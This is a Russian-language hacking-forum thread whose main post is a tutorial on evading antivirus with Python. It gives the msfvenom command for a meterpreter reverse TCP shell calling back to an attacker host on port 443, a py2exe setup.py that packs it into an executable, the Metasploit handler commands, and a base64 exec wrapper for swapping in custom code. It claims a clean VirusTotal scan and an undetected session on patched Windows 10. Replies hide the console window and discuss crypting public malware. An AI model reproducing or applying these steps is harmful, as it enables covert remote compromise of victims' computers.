• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход антивирусов на Python.

Пожалуйста, обратите внимание, что пользователь заблокирован
Хотел бы я видеть как вы будете тянуть эти 200мб, или даже 10, на таргет))
Как ты предлагаешь криптовать паблик говнософт, который задрочен миллионом школьников? Тут как раз хорошо идут подобные убер-технологии с аутоитом, питон2ехе и подобное.

ты знаешь, что я лично поклонник ассемблера, Си и чистого кода, но это не тот случай.
 
Как ты предлагаешь криптовать паблик говнософт, который задрочен миллионом школьников?

Зачем тебе юзать паблик говнософт?)) Вполне можно обойтись без паблик софта, а если что и стало нужно, то без проблем оно криптуется еще и пакуется.
 
Давайте поговорим про обход антивирусов.

В этой статье — простое руководство по обходу антивирусов для начинающих на Python.

Попытка обхода антивируса — это всегда игра в кошки-мышки. Всякий раз, когда новая техника уклонения становится распространенной, производители антивирусов узнают об этом и обновляют базу сигнатур, чтобы блокировать её.

На момент написания этой статьи, описанный здесь метод успешно использовался для обхода всех, без исключения антивирусов на Virus Total, и, как следствие, для успешного выполнения вредоносного кода на полностью обновленной машине с Windows 10 с включенным Windows Defender.

Посмотреть вложение 28767

Payload на Python​


Антивирусы основанные на сравнение сигнатур, соотносят сигнатуры обнаруженных файлов со своей базой данных известных вредоносов. Наша цель состоит в том, чтобы «замаскировать» полезную нагрузку кода, или как её еще называют, пэйлоад, таким образом, чтобы сигнатура не совпадала ни с одной из известных антивирусам сигнатур.

Поведенческий антивирус попытается сопоставить известные подозрительные действия с действиями, предпринятыми при исполнении вашего кода. Наша вредоносная программа будет работать как клиент, запускающий TCP-соединение на 443 порту. Антивирусам на основе анализа поведения будет сложнее ловить подобные действия, не создавая ложных срабатываний для обычных приложений, например, таких как веб-браузеры.

В этом примере мы используем полезную нагрузку Python, сгенерированную MSFVenom, чтобы открыть обратный TCP-шелл (сеанс meterpreter) на 443 порту с компьютером атакующего, на котором запущен Metasploit. Подобные действия ПО, очевидно, похожи на действия вредоноса и должны отлавливаться любым антивирусом.

Описанный здесь подход достаточно гибок, поэтому в дальнейшем вы можете расширить его, заменив msfvenom своим собственным кодом Python.

Настройка окружения​


Мы рекомендуем использовать 3 виртуальные машины для этого урока:
  • Kali Linux для создания полезной нагрузки и запуска Metasploit;
  • Windows Metasploitable 3 для упаковки полезных данных в ПО;
  • И полностью пропатченный и настроенный к бою Windows 10 для проверки действия программы;
Причина, по которой мы использовали две разные виртуальные машины Windows, заключается в том, что нам нужен полностью пропатченный бокс, чтобы протестировать наш маленький вредонос в «полевых условиях». До cборки с помощью Py2Exe, машина со всеми патчами однозначно будет «ругаться» на наш необработанный пэйлоад Python, как на вредонос, что затруднит работу. Отсюда и потребность в виртуальной машине Metasploitable: 3 для обработки полезной нагрузки перед ее упаковкой.

Создание необнаружимой полезной нагрузки на Python​


Здесь мы рекомендуем использовать Windows Metasploitable 3 в качестве основной рабочей среды.

Установите Python 2.7.16 x86 для Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

Посмотреть вложение 28768


Переключитесь на виртуальную машину с Kali и создайте payload на Python-e:

Примечание: мы использовали IP-адрес 10.0.2.10 для нашей Кали. Убедитесь, что вы заменили его своим IP-адресом для этого и всех оставшихся шагов в этом руководстве.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py

service apache2 start


Посмотреть вложение 28769

Скопируйте полезную нагрузку «mrtp.py» на компьютер с Windows:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Теперь установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

py -3.4 –m pip install py2exe или pip install py2exe

Далее создайте setup.py со следующим содержанием:

from distutils.core import setup

import py2exe
setup(
name = ‘Meter’,
description = ‘Python-based App’,
version = ‘1.0’,
console=[‘mrtp.py’],
options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
zipfile = None,

)

Соберите исполняемый файл Python с помощью Py2Exe:

python.exe .\setup.py py2exe

Посмотреть вложение 28770

Проверьте создался ли бинарник
«mrtp.exe» в папке dist:

Посмотреть вложение 28771

Запустите его:

.\dist\mrtp.exe

Переключитесь назад к виртуалке с Кали и запустите Метасплоит:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 10.0.2.10

set LPORT 443

run


Примечание. В зависимости от того, как долго будет грузиться Metasploit, вам может потребоваться снова запустить mrtp.exe в окне Windows.

Посмотреть вложение 28772

Теперь, когда мы убедились, что наш маленький вредонос работает, давайте протестируем на VirusTotal-е:

Если вы все сделали правильно, то получите чистый отчет:

Посмотреть вложение 28773

Теперь пришло время запустить наш вредонос на виртуалке с Windows 10. Просто перетащите файл «mrtp.exe» непосредственно в окно Windows 10.

Посмотреть вложение 28774

Убедитесь, что Metasploit прослушивает порт 443 на машине с Kali, и запустите «mrtp.exe» на виртуалке с Windows 10.

Посмотреть вложение 28775

Как видно на скриншоте, артефакт выполнен необнаруженным, и сеанс Meterpreter был успешно установлен.


Модифицируем наш вредонос!


Вы можете использовать ту же технику и создать свой собственный код. Все, что нужно, это повторить предыдущие шаги, отредактировав файл «mrtp.py» после его генерации с помощью msfvenom. Вам придется заменить строку, закодированную в base64 вашей собственной.

Для тренировки, создадим «custom_payload-py:

print ("Customized payload")
print ("It works!")


После создания, нам надо закодировать его в base64:

cat custom_payload.py | base64

Посмотреть вложение 28776


Пример, который мы использовали, закодированный в Base64 будет выглядеть так:

“cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”

Теперь отредактируем уже существующий «mrtp.py», который мы использовали в прошлый раз и заменим строчку base64 на новую:

Посмотреть вложение 28777

После исправлений результат должен выглядеть примерно так:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==')))

Cкопируем mrtp.py на виртуалку с Windows и соберем бинарник:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe .\setup.py py2exe

.\dist\mrtp.exe

Посмотреть вложение 28778


После запуска собранного бинарника, мы увидим на экране терминала строчки “Customized payload” и “It works”.

Вуаля. Все гениальное просто! Удачи в изучении Python! Статья опубликована исключительно в ознакомительных целях!
информативно, спасибо
 
Did you setup linker for windows subsystem?
If not, you should go: Project -> Project Properties -> Linker -> System -> Subsystem and choose Windows Subsystem. Or setup it through #pragma comment directive.
Solved the problem by this change in the setup.py:

Код:
from distutils.core import setup
import py2exe
setup(
name = 'Meter',
description = 'Python-based App',
version = '1.0',
windows=['mrtp.py'],
options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}},
zipfile = None,
)
 
Python, вирусы, Windows, WinAPI... Это вообще какой-то глупый, гнилой базар не по теме)
Питон, вирусы на Винде... Вы серьезно?) Используйте инструменты максимально объективно под свои цели/задачи
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх